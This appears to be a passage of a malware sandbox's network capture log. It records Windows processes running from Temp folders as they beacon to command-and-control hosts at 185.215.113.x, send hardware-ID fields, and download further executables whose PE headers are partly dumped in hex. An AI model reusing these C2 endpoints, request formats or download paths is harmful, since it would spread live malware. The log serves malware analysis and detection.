Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"doma------HJJEHJJKJEGHJJKEBFBG--
Oct 24, 2024 04:58:51.448229074 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50043	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:51.541640043 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 04:58:52.471752882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50047	185.215.113.16	80	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:53.842449903 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:58:54.752043962 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:54 GMT Content-Type: application/octet-stream Content-Length: 1931264 Last-Modified: Thu, 24 Oct 2024 02:50:35 GMT Connection: keep-alive ETag: "6719b5fb-1d7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L@Wk$LL @.rsrc@.idata @ +@gwmdqjxo`02^@xvafdjqxLR@.taggant0L"V@
Oct 24, 2024 04:58:54.752059937 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:54.752073050 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:54.752084970 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:54.752095938 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:54.752108097 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:54.752115965 CEST	1236	IN	Data Raw: 52 81 5f ec 10 d5 6c d0 57 c9 2e 86 db b1 5e 50 70 f5 c2 62 a0 76 80 6f 19 91 1a 62 bb 25 07 62 6c 6f 50 4f 19 f1 46 d3 8d c5 5a a8 e4 62 76 75 19 30 a6 51 18 1e 51 b3 9e 81 80 3c 1a 15 6c 68 d7 61 80 b0 29 94 a4 54 6a a3 c5 81 5c 6d 62 ef 2a 11 Data Ascii: R_lW.^Ppbvob%bloPOFZbvu0QQ<lha)Tj\mb*Ps(er`pQu7aH3vW0"aQtpFL (mj)haF5-Q{^7ecxRhbHm(bU;6JmeE^pQI8Q1O<H_ Mm
Oct 24, 2024 04:58:54.752120972 CEST	636	IN	Data Raw: c8 46 4d 88 c9 cc 23 91 53 81 35 63 55 49 9e 92 18 91 a8 91 88 2d 59 ed 83 6e f7 8a 16 a1 b0 4c 14 e2 52 60 f4 74 4d 05 92 86 3a 2d 5e 9c 32 d1 3b bd 2f 34 e4 09 8d 44 ce 39 37 01 d3 50 95 00 d0 47 7b d4 0d 31 7c 90 6e 00 15 09 bc 77 53 26 b1 8e Data Ascii: FM#S5cUI-YnLR`tM:-^2;/4D97PG{1\|nwS&:`~JtBY/"a2B>HYFc&wifqI&BN&ACE\|b&Z6BK1k)GF+."QuHF#)9RbC:if
Oct 24, 2024 04:58:54.752134085 CEST	1236	IN	Data Raw: 8f 92 54 9a 89 09 b4 18 34 07 c8 3c e9 92 44 92 43 09 b6 65 40 91 1a dd 0c a9 4c 15 6e a3 41 30 c9 be e7 5a a2 51 c0 df d0 18 05 45 6e 47 1a 51 98 3a 82 9a 59 5b 15 29 86 0e 44 ea cc 87 dc b2 34 eb 62 f0 4a 02 5d c1 00 bd e1 e4 fa 55 80 bd 48 83 Data Ascii: T4<DCe@LnA0ZQEnGQ:Y[)D4bJ]UHd9^O[!MQHr1=!>PVYbDR$FcUP\"PP(P*QJF0N\|HK"GWMN' cNl"-BE5"@K?$_IQ
Oct 24, 2024 04:58:54.752145052 CEST	212	IN	Data Raw: 05 ca 50 93 48 49 d4 c9 11 df e3 da 18 e5 81 f8 90 45 c5 95 0b 1d 54 19 19 24 19 64 18 de 29 34 ee 42 9a 85 27 e2 15 d6 64 bb 04 d2 9e 07 77 8c a9 d8 d0 50 3b 37 f8 e2 2f f2 ce b4 b0 cb b9 5d 00 44 b5 00 08 65 f3 20 3a 81 02 bb 89 c6 3f 7b f8 b5 Data Ascii: PHIET$d)4B'dwP;7/]De :?{xvohk4{Ag,Y#aAMv`LZ`Q(xs)pIqrecBN-UoLQIlB$Q&S
Oct 24, 2024 04:58:54.757549047 CEST	1236	IN	Data Raw: 53 9d f8 23 ad 39 7e f5 0e f8 33 8c 6a 06 86 9d de a9 0e 4d 4b d1 5e 44 2b ea e1 ba 2c c1 36 1b 99 62 4a 09 3f d0 fc 76 4a bf 66 86 bd 35 c8 86 85 51 d6 d3 aa 91 4f c9 0c 01 20 a5 0a be 6f 54 5f 2b 5c ca 2a e9 c8 75 1c 45 ba 2c 60 0b 8e 6b 90 76 Data Ascii: S#9~3jMK^D+,6bJ?vJf5QO oT_+\uE,`kva`07M1F`T:h0i=[N+&y)jl+v^$;YjDyP6}f7S3XPl"5bTF"<}maX1\|@VMi";f:_}C\|
Oct 24, 2024 04:59:03.485713959 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:59:03.765481949 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:03 GMT Content-Type: application/octet-stream Content-Length: 1877504 Last-Modified: Thu, 24 Oct 2024 02:50:28 GMT Connection: keep-alive ETag: "6719b5f4-1ca600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$j@jgG@P%d% %(@.rsrc %8@.idata %8@ *%:@uolrxmarP`PD<@whwdztvnj@.taggant0j"@
Oct 24, 2024 04:59:05.833308935 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:59:06.113192081 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:05 GMT Content-Type: application/octet-stream Content-Length: 2742272 Last-Modified: Thu, 24 Oct 2024 01:44:44 GMT Connection: keep-alive ETag: "6719a68c-29d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %Z`Ui` @ @.rsrc`2@.idata 8@vxijesvo)x):@eoamyyhq )@.taggant@@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50048	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:54.243731022 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:58:55.142319918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50049	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:57.003705025 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 04:58:57.812385082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50052	185.215.113.37	80	1444	C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:58.445285082 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:58:59.365205050 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:58:59.369971991 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="build"doma------HCGDGIDGIJKKEBGDAECA--
Oct 24, 2024 04:58:59.659498930 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:59 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50053	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:59.445915937 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:59:00.347790956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50056	34.107.221.82	80	7016	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:01.643692017 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:02.251847029 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38803 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:02.462815046 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38803 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:02.875966072 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:03.007335901 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38803 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50058	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:01.871607065 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 04:59:02.796582937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50063	34.107.221.82	80	7016	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:02.841005087 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	59406	34.107.221.82	80	7016	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:03.046782970 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:59:03.659115076 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 50718 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	59415	34.107.221.82	80	7016	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:03.591665983 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:04.196830034 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38805 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:04.890394926 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
